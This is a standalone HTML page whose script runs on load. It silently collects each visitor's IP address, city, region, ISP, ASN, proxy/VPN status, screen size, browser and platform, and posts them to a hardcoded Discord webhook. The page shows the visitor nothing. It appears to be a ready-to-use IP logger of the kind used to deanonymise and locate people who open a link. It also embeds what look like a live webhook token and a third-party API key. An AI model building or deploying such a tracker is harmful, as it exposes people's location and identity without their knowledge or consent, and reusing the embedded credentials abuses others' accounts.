<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Visitor Info</title>
    <script>
        // Your Discord webhook URL
        const webhookUrl = 'https://discord.com/api/webhooks/1329274934819557448/tiiskVg46wD53v6wpSySnJt2vHqIBVqeMQ80anMysuT5GTh2pFqdDEIjQOpR5QAv3Rhe';

        // Proxycheck.io API key
        const proxyCheckApiKey = '304q83-2g42z5-066760-788977';

        // Fetch user's IP
        fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(ipData => {
                const userIP = ipData.ip;

                // Fetch details from proxycheck.io
                const proxyCheckFetch = fetch(`https://proxycheck.io/v2/${userIP}?key=${proxyCheckApiKey}&asn=1`);

                // Fetch details from ip-api
                const ipApiFetch = fetch(`http://ip-api.com/json/${userIP}?fields=status,message,continent,continentCode,country,countryCode,regionName,city,isp,org,as,asname,query`);

                // Get additional browser and screen info
                const screenWidth = window.screen.width;
                const screenHeight = window.screen.height;
                const browser = navigator.userAgent;
                const operatingSystem = navigator.platform;

                Promise.all([proxyCheckFetch, ipApiFetch])
                    .then(async ([proxyCheckResponse, ipApiResponse]) => {
                        const proxyCheckData = await proxyCheckResponse.json();
                        const ipApiData = await ipApiResponse.json();

                        // Build embeds for both results
                        const embed = {
                            embeds: [
                                {
                                    title: 'Proxycheck.io Results',
                                    color: 3447003, // Blue color
                                    fields: [
                                        { name: 'IP Address', value: userIP || 'Unknown', inline: true },
                                        { name: 'Country', value: proxyCheckData[userIP]?.country || 'Unknown', inline: true },
                                        { name: 'ASN', value: proxyCheckData[userIP]?.asn || 'Unknown', inline: true },
                                        { name: 'ISP', value: proxyCheckData[userIP]?.isp || 'Unknown', inline: true },
                                        { name: 'Proxy/VPN', value: proxyCheckData[userIP]?.proxy === 'yes' ? 'Yes' : 'No', inline: true },
                                    ],
                                    footer: { text: 'Proxycheck.io Info' },
                                    timestamp: new Date().toISOString(),
                                },
                                {
                                    title: 'IP-API Results',
                                    color: 16711680, // Red color
                                    fields: [
                                        { name: 'IP Address', value: ipApiData.query || 'Unknown', inline: true },
                                        { name: 'Country', value: ipApiData.country || 'Unknown', inline: true },
                                        { name: 'Region', value: ipApiData.regionName || 'Unknown', inline: true },
                                        { name: 'City', value: ipApiData.city || 'Unknown', inline: true },
                                        { name: 'ISP', value: ipApiData.isp || 'Unknown', inline: true },
                                        { name: 'ASN', value: ipApiData.as || 'Unknown', inline: true },
                                        { name: 'Organization', value: ipApiData.org || 'Unknown', inline: true },
                                    ],
                                    footer: { text: 'IP-API Info' },
                                    timestamp: new Date().toISOString(),
                                },
                                {
                                    title: 'Additional Info',
                                    color: 65280, // Green color
                                    fields: [
                                        { name: 'Screen Dimensions', value: `${screenWidth}x${screenHeight}`, inline: true },
                                        { name: 'Browser', value: browser, inline: false },
                                        { name: 'Operating System', value: operatingSystem, inline: true },
                                    ],
                                    footer: { text: 'Visitor Info' },
                                    timestamp: new Date().toISOString(),
                                },
                            ],
                        };

                        // Send embeds to Discord webhook
                        fetch(webhookUrl, {
                            method: 'POST',
                            headers: { 'Content-Type': 'application/json' },
                            body: JSON.stringify(embed),
                        })
                        .then(() => console.log('Visitor info sent to Discord'))
                        .catch(err => console.error('Error sending to Discord:', err));
                    })
                    .catch(err => console.error('Error fetching API data:', err));
            })
            .catch(err => console.error('Error fetching IP:', err));
    </script>
</head>
<body>
</body>
</html>